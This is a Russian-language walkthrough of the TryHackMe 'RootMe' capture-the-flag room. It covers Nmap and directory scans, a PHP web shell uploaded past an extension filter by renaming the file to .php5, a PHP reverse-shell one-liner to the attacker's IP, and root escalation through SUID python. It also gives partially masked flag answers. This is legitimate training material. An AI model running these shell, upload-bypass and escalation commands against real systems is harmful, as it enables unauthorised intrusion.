📝 TryHackMe. Walkthrough: RootMe
Task 1.
Просто нажмите Start Machine для запуска.
Ответ: Не требуется.
Task 2.
Scan the machine, how many ports are open?
*
Требуется просканировать сервер и ответить сколько открытых портов. Решается через Nmap одной командой:
$ nmap -A 10.10.254.133
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Ключ -A
включает определение сервисов на открытых портах.
Ответ: 2
What version of Apache is running?
*.*.**
Берем ответ из вывода Nmap.
Ответ: 2.*.**
What service is running on port 22?
***
Ответ: s**
Find directories on the web server using the GoBuster tool.
Ответ: Не требуется.
What is the hidden directory?
/*****/
Здесь необходимо просканировать директории веб-сервера и найти скрытую директорию. Предлагается использовать тулзу GoBuster, но я использовал DirSearch, разницы особой нет.
$ python3 dirsearch.py -u http://10.10.254.133/
...
[21:21:01] 200 - 732B - /panel/
[21:21:20] 200 - 744B - /uploads/
Вводим ответ который подходит по маске.
Ответ: /p****/
Task 3.
Find a form to upload and get a reverse shell, and find the flag. user.txt
***{***_***_*_*****}
Форма для загрузки файлов находится здесь http://10.10.254.133/panel/
. Подготавливаем shell.php
и пробуем загрузить.
<?php system($_POST['a']); ?>
Увы, форма не пропускает файлы с расширением .php
. Будем байпассить расширение, пробуем переименовать файл в shell.php5
и загружаем.
Все загруженные файлы попадают в директорию /uploads/
.
Пробуем открыть. Работает.
Так как нам известно имя файла в котором содежится флаг, пробуем решить задачу одной командой.
find / -type f -name 'user.txt' -exec cat {} \;
Ответ: THM{***_g*t_*_s****}
Task 4.
Search for files with SUID permission, which file is weird?
/***/***/******
Необходимо найти бинарный файл с флагом разрешения SUID. Этот флаг позволяет запускать бинарные файлы с разрешениями владельца этого файла. То есть, если владелец бинарника root, то он будет запущен от root’а, даже сторонним пользователем. Выполняем команду:
find / -perm -4000
Среди всех файлов, наиболее подозрительным кажется /usr/bin/python
.
Ответ: /usr/bin/p*****
Find a form to escalate your privileges.
Запускаем реверс шелл:
php -r '$sock=fsockopen("10.9.1.210",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
Далее, уходим еще глубже в кроличью нору:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
И становимся root’ом.
Ответ: Не требуется.
root.txt
***{********************}
find / -type f -name 'root.txt' -exec cat {} \;
Ответ: THM{p*******3_*********0n}